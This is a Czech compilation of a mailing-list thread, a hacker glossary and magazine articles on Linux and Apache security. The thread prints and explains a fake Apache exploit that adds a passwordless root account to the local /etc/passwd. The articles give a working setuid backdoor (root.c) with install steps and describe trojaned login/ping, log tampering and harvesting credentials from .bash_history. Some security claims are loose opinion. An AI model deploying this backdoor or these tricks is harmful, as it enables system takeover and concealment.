na > {underground.cz/clanek.html}?id=220 si mozna nekteri z Vas tukali > na hlavu, ale ted po hacku ceskymobil.cz Oni bezi na linuxu? Nebo uz KGB je i v NTckach? Jeste ze jsem si na Y2K nakoupil ty samopaly a zelezne zasoby... Jen jestli neni KGB i v nich... -----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 -- QDPGP 2.60 Comment: {community.wow.net/grt/qdpgp.html} iQA/AwUBOHX+xFMwP8g7qbw/EQJzXwCfeGFjlQjwmYL2keMoEuxRzrxIFd0An1y9 i+q29P3MpdBtwLla+Znu9bFT =45C4 -----END PGP SIGNATURE----- -- Petr Novotny, ANTEK CS {Petr.Novotny@antek.cz} {www.antek.cz} PGP key ID: 0x3BA9BC3F -- Don't you know there ain't no devil there's just God when he's drunk. [Tom Waits] On 7 Jan 00, at 13:49, setuid wrote: > Tak tady je ten exploit. Neupraveny!!: > > > /* remote apache 1.3.4 root exploit (linux) */ > > #include > #include > #include > #include > #include > #include > #include > > char shellcode[] = > "\x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a" > "\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20" > "\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; > > #define NOP 0x90 > #define BSIZE 256 > #define OFFSET 400 > #define ADDR 0xbffff658 > #define ASIZE 2000 > > int > main(int argc, char *argv[]) > { > char *buffer; > int s; > struct hostent *hp; > struct sockaddr_in sin; > if (argc != 2) { > printf("%s \n", argv[0]); > exit(1); > } > buffer = (char *) malloc(BSIZE + ASIZE + 100); > if (buffer == NULL) { > printf("Not enough memory\n"); > exit(1); > } > memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode, > strlen(shellcode)); > buffer[BSIZE + ASIZE] = ';'; > buffer[BSIZE + ASIZE + 1] = '\0'; > hp = gethostbyname(argv[1]); > if (hp == NULL) { > printf("no such server\n"); > exit(1); > } > bzero(&sin, sizeof(sin)); /* hmm zacina klicova cast pro upravu */ > bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length); > sin.sin_family = AF_INET; > sin.sin_port = htons(80); > s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); > if (s < 0) { > printf("Can't open socket\n"); > exit(1); > } > if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { > printf("Connection refused\n"); > exit(1); > } > printf("sending exploit code...\n"); > if (send(s, buffer, strlen(buffer), 0) != 1) > printf("exploit was successful!\n"); > else > printf("sorry, this site isn't vulnerable\n"); > printf("waiting for shell.....\n"); > if (fork() == 0) > execl("/bin/sh", "sh", "-c", shellcode, 0); > else > wait(NULL); > while (1) { /* shell */ } > } Moc pekne. Kazdy si to spustte, ted hned! Ono to sice neutoci na toho ciziho Apache, ale zato to provede echo hakr::0:0::/:/bin/sh >> /etc/passwd na vasem pocitaci. Projdeme si to zhora dolu: shellcode[] je pouze uvedena radka. connect() a send() na cizi pocitac neudela nic. Proc by taky mel? Ovsem execl("/bin/sh", "sh", "-c", shellcode, 0); je bomba :-) To se totiz provede na vasem stroji, ze ano? Toz tak. V konferenci security@... jsme sami blbci, a na nic takoveho bychom neprisli. Jeste zes nam ten exploit poslal. -----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 -- QDPGP 2.60 Comment: {community.wow.net/grt/qdpgp.html} iQA/AwUBOHYAg1MwP8g7qbw/EQLpdgCgnLfQNpmJ6KT2IH7NujF1hXgdipsAmwYb COtEu8GYz70NIOhZoqDNoY6g =CMTH -----END PGP SIGNATURE----- -- Petr Novotny, ANTEK CS {Petr.Novotny@antek.cz} {www.antek.cz} PGP key ID: 0x3BA9BC3F -- Don't you know there ain't no devil there's just God when he's drunk. [Tom Waits] _______________________________________________ {security@underground.cz} mailing list tento list vam prinasi underground.cz - ctete {underground.cz/} a budete mit hodne penez. poslete mail "unsubscribe" na adresu {security-request@underground.cz} pokud se chcete odhlasit. Hackerský slovníček 4Eyes - princip čtyř očí - způsob zajištění personální bezpečnosti např. v bankách. Všechny zneužitelné činnosti musí provádět minimálně 2 lidé Audit trail - druh sw, ktrý umožňuje IT manažerovi zkontrolovat všechny vstupy do systému Backdoor - "zadní vrátka", v počítačovém systému uložená bezpečnostní díra sloužící k přístupu do systému bez vědomí skutečného správce systému Biometrické zařízení - využívá otisky prstů nebo snímání oční sítnice k identifikaci osob a k povolení vstupu do budovy, či počítačového systému Box - hlavní nástroj při phreakování Cracker - osoba zavývající se odposloucháváním telefonů či prohledáváním počítačů s cílem zmocnit se informací, či poškodit firmu Červ - program, jež se reprodukuje kopírováním sebe sama Dial-upista - ten kdo se na internet připojuje pomocí modemu DNIC - říká, jaký typ sítě je použit pro připojení k TELNETU DoS - Denial of service - techniky nenáročné na útok směřující k odepření služby serverem DDos - Brutální verze DoS útoku Dumpster diving - prohledávání odpadkových košů v kancelářích s cílem najít přístupové kódy či hesla Exploit - program určený ke zneužití nějaké chyby. Firewall - zařízení a software specializované na ochranu sítí proti neoprávněným průnikům Flood - konkrétní příklad DoS zahlcením napadeného serveru, např. posláním mnoha požadavků na webovou stránku, že server nestačí odpovídat Gateway - hacknutý počítač sloužící pro krytí dalších činností Hackkovat, Hákovat- hledat díry a pronikat do počítačových systémů za účelem jejich zneužití nebo využití pro další činnost High-Energy Radio Frequency Gun (HERF) - vysokofrekvenční zářič, ničící polovodičové součástky a tím nevratně likvidující hardware Lamer - ten, kdo se chce stát hackerem Log - záznam provozu na serveru nebo internetového provozu Logická bomba - VIr, či program, který nečinně čeká až do určité předem stanovené doby, či do momentu užití specifického povelu NUA - adresa počítače na TELNETU Open source - volně šiřitelný sw, ktrý autoři zdarma poskytli na internet ve zdrojovém kódu. Lze je neomezeně používat Open BSD - systém na bázi UNIXu založený na open source UNIXu s bezpečnostním auditem ({www.openbsd.cz}): Linux ({www.linux.cz}), Solaris ({www.sun.com}), Win NT, 2000 aj. Phreakování - hákování s pomocí telefonu Prefixový scanner (War Dialer) - program, jež automaticky vytáčí telefonní čísla začínající třemi číslicemi (prefixy), které zadáte. (Autoscan, A-dial) Pseudo-flaw - "Chyták" v systému, který vetřelci vytváří překážky Redirektor - program směrující komunikační spojení, slouží ke krytí Skenování (scanning) - jedná se o činnost prováděnou vůči určité IP adrese nebo celému bloku IP adres. Skenování vám pomůže zjistit, které porty jsou na dané IP adrese otevřené, tzn. používají se. Pro různé činnosti v internetu se používají různé porty. Například port 80 se používá pro HTTP, které se zobrazují v browseru, port 21 je používán FTP, port 25 pro odchozí poštu, port 110 pro pop3 Sniffnuté heslo - odposlechnuté heslo Siniffer - program na odposlech internetové komunikace, používaný k získání hesel Spoofing - zaslání e-mailu firmě vnějším uživatelem, předstírajícím, že je někdo jiný Tiger team - skupina odborníků najatá firmou za účelem zjištění chyb v její bezpečnosti Trojský kůň - program, který provádí neoprávněnou činnost, skrytou uvnitř autorizovaného programu Van Eck Detection Kit - úzce specializované zařízení, které dovoluje vnějšímu uživateli "schovat se za keřem" a monitorovat obrazovku měřením elektromagnetické radiace, vyzařované počítačem Z tajemné kuchyně hackingu V této závěrečné kapitole jsem shrnul všechny články o hackingu a hackerech, která jsem napsal jak v novinách, tak také v tisku. Všechny sice nepojednávají přímo o hackerech, ale příchuť této tajemné kuchyně určitě mají. Apache a Linux I V tomto krátkém seriálu o www serveru Apache, bych vás rád seznámil s tímto nejpoužívanějším web serverem na Internetu. Po jeho přečtení, by jste mimo jíné, měli lépe pochopit význam některých znaků a písmen na příkazovém řádku vašeho prohlížeče, které se tam objevují při prouzdání webem. Konkrétně bude řeč o serveru Apache na distribuci Linuxu Red Hat 5x. V tomto prvním dílu se trochu blíže podíváme na jeho instalaci a nastavení. Po instalaci Linuxu je téměř všechno správně nastaveno a server je připraven ke spuštění. Přesto ještě server nepracuje. Musíte v souboru /etc/httpd/httpd.conf specifikovat jméno serveru, které je shodné se jménem vašeho počítače. Důležité je mít správné údaje v souboru /etc/hosts. O tom jsem psal v Computeru 5/00. Zápis položky ServerName můžete provést např. pomocí některého grafického programu. Věřte, že mnohem efektivnější je, se těmto grafickým programům vyhnout a celou konfiguraci provádět přímo zápisem do příslušného souboru, např. pomocí editoru joe nebo vi. To sice vyžaduje o něco větší znalosti, ale zase lépe pochopíte célý systém Linux. Po přidání výše uvedeného řádku, můžete server spustit zapsáním příkazu: httpd. Server by měl být spuštěn. O tom se můžete přesvědčit např. příkazem ps -aux. Kromě standartně spuštěných procesů, by se ve výpisu měl objevit i program httpd, spuštěný v několika kopiích. O faktu, že www server opravdu pracuje, se můžete také přesvědčit spuštěním znakového prohlížeče příkazem: lynx localhost. Po načtení stránky, se vám zobrazí soubor index.html, který je standartně umístněn v adresáři /home/httpd/html/. Jedná se o manuálové stránky serveru Apache. Nahrazením tohoto souboru jiným, si můžete vytvořit vaše vlastní www stránky. Mnohem efektnější je testovat server se dvěma počítači, které jsou propojené v síti. Linux Red Hat 5.0, můžete bez problémů naistalovat na počítač 386DX 8MB ram a HDD 200MB. Jako monitor pro takový počítač, můžete použít např. Herkules, který lze koupi i z kartou za 400 korun. Na druhém počítači mít spuštěný klasický www prohlížeč např. Netscape, pracující pod Windows 9x. Samozřejmě je nutné mít dvě síťové karty. I to nemusí být problém. Já jsem např. sehnal dvě síťové karty standartu NE2000 za 400 korun. V příštím pokračování našeho miniseriálu si povíme něco o psaní a spouštění cgi skriptů. Apache a Linux II Minule jsem psal o instalaci a základním oživení www serveru Apache v prostředí Linuxu Red Hat 5.x. V dnešním posledním pokračování se podíváme trochu podrobněji na zprovoznění cgi skriptů. Určitě jste již na Internetu vyplňovali nějaký formulář nebo dotazník. Běžel-li vzdálený www server pod Unixem nebo Linuxem, zpracovával vaše informace nějaký cgi skript. To můžete poznat v příkazovém řádku vašeho prohlížeče. Objevují se tam výrazy jako /cgi-bin/, jmeno.cgi a jiné. To je důkaz, že váš prohlížeč spolupracuje s nějakým cgi skriptem. Co je cgi skript? Jedná se o obyčejný spustitelný program, jehož výstup se zasílá vašemu prohlížeči. Může to být spustitelný binární program nebo skript shellu. Jak tedy zprovoznit spouštění cgi skriptů? Musíte do souboru /etc/httpd/conf/httpd.conf přidat jeden řádek. Ve vašem případě by to byl řádek: ScriptAlias /cgi-bin /home/httpd/cgi-bin. Pak je nutné server restartovat příkazem killall -HUP httpd. Teď si můžete vyzkoušet váš první cgi skript. Nejjednodušší cgi skript který vám ukážu, vám zprostředkuje spuštění libovolného příkazu na vaše Linuxu: #!/bin/sh echo 'Content-Type: text/html' echo who Tento skript spustí příkaz who a ten vám pošle aktuálně přihlášené uživatele. Změnou tohoto příkazu, lze tento skript upravovat pro různé příkazy shellu. Máte-li doma malou síť, mužete v prohlížeči napsat adresu: {adersa/cgi-bin/test.cgi}, v případě, že jste nazvali váš skript test.cgi. Nemáte-li doma malou počítačovou síť, můžete skript testovat pomocí prohlížeče Lynx v Linuxu. Tento příklad je velmi jednoduchý. Lze do něho přidat html kód a tím se jeho výstup stane uživatelsky příjemnější. Linux - aneb odvrácená tvář open source software To, že nejen aplikace pro různé distribuce Linuxu se dodávají se zdrojovým kódem, je vždy označováno za výhodu. Běda tomu, kdo by řekl něco jiného. Minule jsem psal o bezpečnosti Linuxu obecně a naznačil jsem některé možnosti jeho napadení. Poté se snesla doslova smršť kritických ohlasů. V dnešním článku se trochu blíže podívám na možnost úpravy zdrojových kódů, která může hackera změnit v superuživatele. Obecně lze říci, že takto lze upravit každý zdrojový kód příslušného binárního programu, který má nastaven tzv. suid bit. Klasickým příkladem takových programů je např. ping, su, traceroute aj. Je pravda, že volně přístupný zdrojový kód je výhoda, ale má to také svoji odvrácenou tvář. Myslím si, že není nic špatného, když se této ďábelské tváři podíváme přímo do očí. Dost často se říka, že největší slabinou nejenom Linuxu je uživatelský účet root. Níže uvedený zdrojový kód, umožní v každé distribuci Linuxu (i v Suse Linuxu 6.4) získat práva roota postupem, který dále naznačím. Tady je ten ďábelský zdrojový kód v jazyce C: /* ------------start root.c------------- */ main(argc, argv) int argc; char **argv; { char seteuid[10]; char showmount[10]; seteuid[0]='h'; seteuid[1]='a'; seteuid[2]='k'; seteuid[3]='e'; seteuid[4]='r'; seteuid[5]='\0'; showmount[0]='/'; showmount[1]='b'; showmount[2]='i'; showmount[3]='n'; showmount[4]='/'; showmount[5]='b'; showmount[6]='a'; showmount[7]='s'; showmount[8]='h'; showmount[9]='\0'; if (argc>1) { if (!strcmp(argv[1],seteuid)) { setuid(0); setgid(0); execl(showmount,"-i",0); } } } /* ---------konec root.c----------- */ Poznámka: tento kód je dostupný také na adrese {www.razdva.cz/janda/root.htm} Máte-li na svém počítači naistalován Linux, můžete si jeho ďábelské schopnosti ověřit. Zkopírujte si tento zdrojový text do schránky a obsah vložte do souboru s názvem např. root.c. Přihlaste se do Linuxu jako root a tento soubor přeložte. To můžete udělat např. příkazem cc root.c -o root. Vzniklému binárnímu souboru nastavte suid bit. To se provede příkazem chmod 4755 root. Pak se na další konzole přihlaste jako normální uživatel a přejděte do adresáře, kde je umístněn vámi vytvořený soubor root. Pak zadejte tento ďábelský příkaz: ./root haker A hle - je z vás superuživatel. Máte celý Linux pod kontrolou. Chcete smazat celý disk? Není problém: rm -rf /. Právě výše uvedený zdrojový text, je základem pro úpravu zdrojových textů systémových programů Linuxu. Jsou to programy, které mají nastaven tzv. suid bit a je jich v každé distribuci Linuxu požehnaně. Je to možné díky volně přístupnému zdrojovému kódu. To není zdaleka všechno - jdou upravovat různé serverové programy, které umožní přístup do systému z celého internetu. Má-li hacker ještě upravené výše popsané systémové programy, je to ideální kombinace že? Docela dobře si dokážu představit tento příběh: jeden správce velkého množství Linuxů na internetu se rozhodne, že opustí svého zaměstnavatele. Jěště než to udělá, naistaluje na svoje linuxové mašiny výše popsané backdoory a pak dá výpověď. Dále o tom nemá cenu psát - snad jenom to, že mu to umožnil open source software. Ještě na závěr abych trochu linuxovou veřejnost uklidnil - takto upravené programy jdou poměrně snadno odhalit, protože se dost výrazně změní jejich velikost :-) Linux vládne Internetu - je to bezpečné? Linux je operační systém, který vymyslel student z Finska Linus Torvalds a dále ho vyvíjejí amaterští programátoři - většinou studenti vysokých škol. Linux pracuje na klíčových místech Internetu. Jeho práce není vidět, ale síť se bez jeho služeb neobejde. Napíšete-li ve svém prohlížeči vaši oblíbenou adresu, je to většinou program běžící pod Linuxem, který vaše informace zpracovává. Přestože se jedná v podstatě o amatérský operační systém (to tvrdí Microsoft), používají ho profesionální poskytovatelé internetových služeb na svých klíčových místech. Např. společnost PVT-net, provozuje vetšinu svých nameserverů pravě pod Linuxem. Zajímavé je to, že právě Linux je nejčastějším cílem hackerů. Hlavně proto, že zdrojový kód Linuxu je otevřený a lépe se v něm hledají různé chyby. Konference o bezpečnosti jsou plné různých exploitů, které dokáží geniálně těchto chyb využít. Např. za minulý rok, se objevilo v konferencích o bezpečnosti minimálně 30 nebezpečných remote exploitů, určených na některý Unixový systém. Z toho asi dvacet na Linux. Jednalo se většinou o specialní programy, které dokázaly využít určité chyby programu a zprostředkovat případnému útočníkovi, jednorázové spuštění programu na vzdáleném stroji s právy administrátora. Tyto exploity, jsou většinou zveřejňovány jako zdrojové texty v jazyce C a práce s nimi není jednoduchá. Většina z nich potřebuje upravit, některé se musí "obalit" skripty shellu aj. Přesto se může najít mnoho jedinců, kteří se tímto baví. Zkušený hacker moc dobře ví, jak se to dělá. Exploit použije pouze pro instalaci backdooru (zadních vrátek). Tím získá trvalý přístup do shellu (příkazový řádek). Samozřejmostí bývá oprávnění administrátora. Velmi nebezpečný je fakt, že hacker může mít podobný přístup do systému třeba několik let a nikdo si toho nevšimne. Tyto zadní vrátka bývají velmi rafinované. Např. přesměrování příkazového řádku, na jeden z mnoha tisíc portů, případně úprava zdrojového textu systémového programu, který po zadání tajného slova změní hackera v superuživatele. Hacker takto může ovládat desítky počítaču na Internetu. Něco naznačili v nedávné době provedené DDos (distributed denial of service) útoky na velké americké servery. Podíváme-li se na tyto útoky podrobněji, tak zjistíme, že útočník nebo útočníci, musí mít přístup do několika desítek počítačů na Internetu aby mohli tento útok provést. Právě Linux, je pro tento účel ideální. Útočníci nainstalují na desítky Linuxů v síti specialní programy, které ve stejný okamžik začnou posílat velké množství dat na jednu IP adresu. Server na této IP adrese se stane pro normální uživatele nedostupný. Dovolím si tvrdit, že díky Linuxu, může na Internetu tikat časovaná bomba. U nás situace nemusí být o nic lepší. Někdy na přelomu let 96/97, kdy nastal u nás internetový boom, mnoho menších počítačových firem začalo nabízet internetové služby právě prostřednictvým Linuxu. Většina těchto systémů, byla velmi špatně zabezpečena. Každý uživatel, který měl na takovém Linuxu uživatelské konto, se mohl přihlásit přes FTP a prohledávat celý adresářový strom. Např. distribuce Linuxu Red Hat byly v tomto směru velmi špatně zabezpečené. Každý uživatel, mohl prohledat celý adresářový strom a analyzovat data. Dokonce super tajný soubor hesel passwd, mohl každý číst nebo si jej stáhnout na svůj počítač a luštit hesla pomocí různých programů. Naštěstí poslední distribuce Linuxu Red Hat, již standartně nabízejí při instalaci stínový soubor hesel, který může číst jenom superuživatel. Dalším zajímavým problémem je fakt, že např. Linux od RedHatu, nemá žadný diagnostický program na kontrolu integrity binárních programů. V Linuxu je možné bez problému přepisovat binární programy a měnit tím základní nastavení systému. Typickým příkladem je logovací systém Linuxu. Ten slouží k zaznamenávání většiny operací, jako např. přihlášení do systému, odhlášení, odkud, v kolik hodin atd. Zkusili jste někdy ve Windows otevřít takový binární soubor, např ve Wordpadu? Objeví se před vámi pouze nesmyslné znaky. Přesto lze v Linuxu podobný binární soubor editovat a změnit některé znaky. Linux pak např. přestane evidovat přihlašující se uživatele nebo toto přesměruje do jiného souboru. Rozhodně nechci tímto článkem nikoho odrazovat od používání Linuxu a nepřímo tím podporovat produkty Microsoftu (i když to tak může vypadat). Linux se neustále vyvíjí a hlavně jeho bezpečnosti, je věnována v poslední době mimořádná pozornost. Některé bezpečnostní rutiny jsou instalavány přímo do jádra systému. Jednou určitě přijde doba, kdy z pohledu bezpečnosti nebude nejslabším člankem řetězu operační systém, ale lidé kteří jej ovládají. O tom by mohl být klidně samostatný článek. Slovník výrazů: Exploit: Specialní jednoúčelový program, který dokáže využít nějaké chyby programu. Vznik exploitu lze popsat následovně: např. je objevena bezpečnostní chyba v nějakém serverovém programu, která za určitých podmínek, dokáže ohrozit systém, např. možností provedení libovolného příkazu s právy administrátora. Exploit je potom program, který dokáže tyto podmínky splnit a zprostředkuje provedení příkazu. Remote exploit je stejný jako exploit, ale tyto operace lze provádět na dálku, např. přes Internet. Exploit tedy není název žádného konkrétního programu, ale jedná se o určitý druh programů. Backdoor: Česky řečeno zadní vrátka. Opět se nejedná o žádný název konkrétního programu, ale o určitý druh nastavení systému nebo programu, které umožní přístup na systém kdykoli v budoucnosti. Ideální backdoor je takový, který je funkční i po odhalení hackerského útoku na systém. Nameserver: Program pracující převážně pod Linuxem, který převádí jména na IP adresy. Bez nameserverů, by Internet sice fungoval, ale místo adresy, např. {www.jmeno.cz}, by jsme museli psát přímo IP adresu např. 147.231.109.6. Linux - časovaná bomba možná vybuchne! Tímto příspěvkem chci reagovat na záplavu negativních reakcí na moje dva články na Neviditelném P. Asi někteří z vás špatně pochopili co jsem chtěl naznačit. Nejprve se vrátím ke svému druhému článku, který se jmenoval "Linux: odvrácená tvář open source software". Prostě jsem chtěl naznačit, že jdou upravovat různé programy v Linuxu. Nic víc a nic míň. Např. je známo, že chcete-li se přihlásit do Linuxu s UID nula, musíte se přes přihlašovací procedůru login, přihlásit jako uživatel root. Máte-li k dispozici zdrojový kód programu /bin/login, můžete ho upravit tak, že vůbec nemusíte k tomu, aby jste získali UID nula použít "slovo" root. Dokonce vám pak systém "hodí" rootshell i když se přihlašujete remote přes telnet. To, že tyto úpravy lze provádět jenom s UID nula je snad jasné. Druhým klasickým příkladem je úprava programu ping. O tom již někdy před rokem psal výborný server underground.cz. Takto upravený program ping funguje naprosto normálně, ale když zadáte "tajný" parametr např. ping haker, stanete se rootem. Ten můj první článek, byl některými odborníky onačen jako blábol, na který nemá cenu vůbec reagovat ( pan Literák). Např. jsem psal, že někteří menší poskytovatelé nabízeli přístup k Internetu dial-up prostřednictvím Linuxu. Mohli jste se přihlásit na jejich Linux přes ftp nebo telnetem a prohledávat celý adresářový strom adt. (že to šlo je chyba admina). Někteří z vás tuto možnost označili za zbytečnou, protože stejně nemám roota atd. Ale pozor! Root má svůj soubor .bash_history, který ve standardním nastavení může číst každý. Znám jednoho "uživatele internetu", který takto za půl roku dokázal získat téměř 100 uživatelských účtů, včetně hesel. Jak? Administrátor (root) používal skript shellu v rámci nějakého archivování a jako parametr mu předával jméno a heslo každého nového uživatele - vše zůstalo to v historii příkazů. Pak stačilo jednou za týden se přihlásit, stáhnout rootův soubor .bash_history a je to. Je sice pravda, že to zůstavá v logu, ale tehdy se rozdávaly testovací účty a nikdo nechtěl znát vaše osobní údaje. Vím, že tento skript používalo mnoho poskytovatelů internetu. To bylo někdy v polovině roku 1997 a tehdy se používala téměř všude distribuce RedHat. Je také pravda, že si toho může root všimnout a nastavit adresáři /root jiná přístupová práva, nebo zakázat logování do historie příkazů, ale asi to neudělal. No to jenom tak na okraj. Možná, kdyby se tyto informace o uživatelských účtech klientů některých poskytovatelů internetových služeb dostaly na věřejnost, museli by jim toho hodně vysvětlovat. Ono je toho ještě mnohem víc. Hlavně proto, že zákazníci jim platili tisíce korun ročně za připojení k internetu a někdo jiný mohl volat na jejich účet a zadarmo (skoro). Je docela možné, že v minulosti, když se dial-up připojení ještě platilo (myslím poplatky pro ISP), tak jedna skupina uživatelů platila a druhá - ta chytřejší, volala na jejich účet. Kdyby někdo o tom napsal knihu, tak by na českém internetu vybuchla ta časovaná bomba o které jsem také psal. Ono to není tím, že je Linux špatný - takový jsou někteří admini :) Dále je možné v případě, že administrátor umožní prohledávat celý strom na svém Linuxu, analyzovat data v konfiguračních souborech programu named. Na Linuxu poskytovatele Internetu nejsou jenom asynchronní porty pro dial-up připojení. Bývají zde i síťová rozhraní pro podřízené domény. Dost často se stává, že Linux, na který se připojujete dial-up, funguje zároveň jako primární nameserver pro velké množství dalších domén. Všechny tyto údaje si můžete přečíst, i když nemáte roota. Zkušený hacker dokáže z těchto souburů získat mnoho informací. Je třeba říci, že i servery podřízených domén často pracují také na Linuxu a dost často se stává, že je všechny spravuje jeden nebo několik administrátorů z nadřazené domény. Admini si často vytvářejí tzv. konfigurační backdoory, které jim umožní provádět administraci remote, např. pomocí aplikace telnet. Objeví-li hacker nějaký podobný backdoor, je téměř jisté, že je použit i v ostatních linuxech. Takto se lze pouhou analýzou informací nabourat do velkého množství Linuxů na síti. Vůbec není nutné používat exploity a jiné hackerské nástroje. Co říci závěrem? Server underground.cz napsal, že získání osobních informací o dalších lidech neoprávněným přístupem je v USA těžký zločin. Má pravdu - takový je zákon. Spáchali jste ale zločin v tomto případě? Přijdete k poskytovateli internetu, ten vám zřídí testovací účet a nechce znát žádné vaše osobní údaje. Vy přijdete domů, nastavíte počítač a připojíte se do internetu. Pomocí FTP se připojíte na server poskytovatele, který náhodou umožňuje "listovat" celým stromem Linuxu. Náhodou vás napadne stáhnout rootův soubor .bash_history. Náhodou tam najdete "tajné" informace. Právě jste spáchal těžký zločin a budete odsouzen. Predevším proto, že jste byl zvědavej. Hackeři ukázali svoji moc. Před několika týdny, se hojně medializoval hackerský útok na několik velkých serverů v USA. Na teletextu České televize byl článek, ve kterém za původce těchto útoků, byly označeny počítačové viry. Jde samozřejmě o nesmysl. Šlo o tzv. distribuovaný útok odmítnutí služby (distributed denial of service - DDos). Podíváme se na tento problém trochu podrobněji. Klasický útok denial of service, např. na sendmail v Linuxu, využívá nějaké chyby v programu a proto případný útočník nepotřebuje na napadený server přenášet obrovské množství dat, aby služba přestala pracovat. Obrana proti tomu je jednoduchá - odstranit chybu v programu. Distribuovaný denial of service útok, zahltí napadený server obrovským množstvím dat, takže ten se pro normálního uživatele stane nedostupný. To nelze provést z jednoho počítače na Internetu, ale musí se jich použít několik desítek. Na tyto počítače naistaluje útočník specialní programy (v unixu démoni), s kterými dokáže dálkově komunikovat a vydávat příkazy k zahájení nebo ukoncění útoku. Komunikace může být šifrovaná a přístup chráněn heslem. Pak jednoho dne, dá hacker příkaz k zahájení útoku a obrovské množství síťových paketů se sejde na jedné IP adrese. Napadený počítač, nestačí na takové množství dat reagovat a v podstatě se stane pro normální uživatele nedostupný. Proti takovému útoku, lze jen velmi těžko hledat nějakou prevenci. Velmi alarmující je pozadí takového útoku. Jsou v podstatě dvě možnosti: Buď se jedná o organizovanou, velkou skupinu hackeru nebo útok provede jeden hacker, ale ten musí mít přístup (neoprávněný?) do několika desítek počítačů na Internetu. Obě možnosti jsou alarmující, ale ta druhá ještě navíc dokazuje, že bezpečnost v Internetu je velmi špatná. Co říci závěrem? Můžeme jen doufat, že medializace těchto útoků, přinutí síťové administrátory více se věnovat bezpečnosti, protože jinak nedůvěra v internetovou komunikaci stále poroste. Hrozí z Internetu nějaké nebezpečí? Dotaz: Vytvořila jsem si konto volný a každý den se připojuji do Internetu. Mám stále takový zvláštní pocit, že mně a mému počítači hrozí z Internetu nějaké nebezpečí. V televizi se v poslední době hovoří o virech, hackerech, různých útocích aj. Chtěla bych se o tomto problému dozvědět nějaké podrobnosti. Odpověď: Rozhodně nehrozí nebezpečí Vám osobně. K tomu lze pouze podotknout, že chcete-li zůstat anonymní, nezadávejte Vaše občanské jméno při instalaci síťového software. Toto jméno je pak odesíláno s každou elektronickou poštou, kterou z Vašeho počítače odešlete. Stačí když adresát nahlédne do hlavičky zprávy a uvidí jméno, které jste zadala při instalaci Windows. Podobné údaje vyžadují některé programy při své instalaci. Jiná je situace ohledně bezpečnosti Vašich dat uložených v počítači. Platí zásada - nespoštět binární spustitelné soubory, které Vám přijdou z neznámé elektronické adresy. To by mohlo mít pro Vaše Windows katastrofické následky. Jako příklad mohu uvést program, který mně přišel před několika dny. Jmenoval se security.exe a po spuštění smazal klíčové systémové soubory. Po restartu jsem jiz Windows nespustil. Dále používáte-li textový procesor Word, neotvírejte v něm dokumenty, které Vám příjdou z neznámé adresy. Timto způsobem se šíří tzv. makroviry. Situace okolo hackerského útoku je trochu jiná. Hackeři jsou lidé, jejichž "koníčkem" je pronikání do cizích počítaču. Ve Vašem případě, je možnost hackerského průniku minimální, protože se připojujete komutovaně a součástí Internetu jste pouze po dobu připojení. Přesto Vás musím upozornit na určité nebezpečí. Některé starší verze prohlížečů mají chybu, která umožňuje případnému vetřelci za pomocí speciálního programu (exploitu) tuto chybu zneužít. Tento problém ještě umocňuje možnost automatizovat takový útok. V Unixu není problém napsat skript, který monitoruje verze prohlížečů komunikujících s www serverem. Zjistí-li připojení takového prohlížeče, automaticky spustí remote exploit a ten na straně klienta provede nějakou akci, např. ukradne osobní udaje klienta. Může nastat např. situace, že si prohlížíte nějakou www stránku a zlomyslný administrátor na straně serveru prohlíží Váš pevný disk. Proto je dobré používat nejnovější verze prohlížečů, kde již notoricky známé chyby nejsou. Ve výše uvedeném textu jsem předpokádal, že používáte Windows. Používáte-li Linux, může být situace ješte horší. Linux obsahuje mnohem více chyb než Windows. Není to proto, že je Linux horší, ale hlavně z důvodu otevřeného kódu Linuxu. Přesto Vás mohu uklidnit. Vzhledem k tomu, že se připojujete modemem, je možnost hackerskeho útoku na Váš počítač minimální. Jiná je ovšem situace, budete-li připojena pevnou linkou a počítač bude neustále zapnut. V takovém případě musíte věnovat bezpečnosti mimořádnou pozornost. Slovníček výrazů: Exploit - určitý druh speciálního programu, který dokáže využít chybu systému nebo programu. Nejedná se o název žádného konkrétního programu. Remote exploit - stejné jako exploit, ale dokáže pracovat remote (vzdáleně). Ten je velmi nebezpečný. Linux a Hackeři V dnešním povídání o Linuxu se zaměříme na hackery a jejich různé fígle v tomto operačním systému (OS) Linux je nejčastěji používaný OS na Internetu. Dá se říci, že Linux běží na klíčových místech Internetu.. Paradoxem je, že právě Linux je nejčastějším cílem hackerů. Je to hlavně proto, že jeho kód je otevřený a snadno lze nalést nějakou tu chybu. Dnes se zaměřím na logovací systém Linuxu, především na binární logy. Hacker, kterému se podaří získat UID nula (UID(0)), získá práva roota. Jak se k tomuto oprávnění dostat? Tak o tom by se mohla napsat celá kniha. Nelze říci, že existuje univerzální návod. Každá distribuce Linuxu je jiná a má jiné chyby, tak i každá instalace Linuxu je jiná. Hackeři často sledují konference o bezpečnosti, kde jsou zveřejňovány exploity. Tyto exploity si zkušený hacker dokáže "obalit" pomocí skriptů, takže mu slouží jako skener pro vyhledávaní mašin a jejich chyb. Cílem hackerů je většinou plnohodnotný přístup do shellu. Podaří-li se mu to a má práva roota, může systém upravit (systém lze upravovat i remote např.rcp). Většina hackerů je paradoidní a maže za sebou stopy v logovacích souborech. Používají k tomu různé programy na čištění logů, jako např. wipe a jiné. Dokonce existují programy, které do binárního logu zapíší falešné stopy. V Linuxu jsou logy textové a binární. A právě binární logy(ale i textové) může použít například i admin, aby chytil hackera. Jak? Přesměrováním binárních logů. Např. standardní programy jako je login, sshd, in.ftpd, in.telnetd logují do /var/log/wtmp. Hacker i admin tuto binární verzi může přepsat. Pomocí editoru Vi, otevře příslušnou binárku, např vi /bin/login a vyhledá textový řetězec /var/log/wtmp a nahradí ho jiným. Ale pozor! Nesmí použít více znaků než měl původní řetězec. Nové adresáře a soubor musí existovat. Binárku uloží a od této chvíle login loguje tam, kam jsme mu to přikázali. Při tomto postupu se může objevit určitý problém, např. nelze takto upravený soubor uložit i když mám roota, ale s tím si každý poradí velmi snadno. No a pak program last čte informace které nejsou aktualní. Druhou možností je upravit programy, které z těchto souborů čtou. Např program who, který zobrazuje aktuálně přihlášené 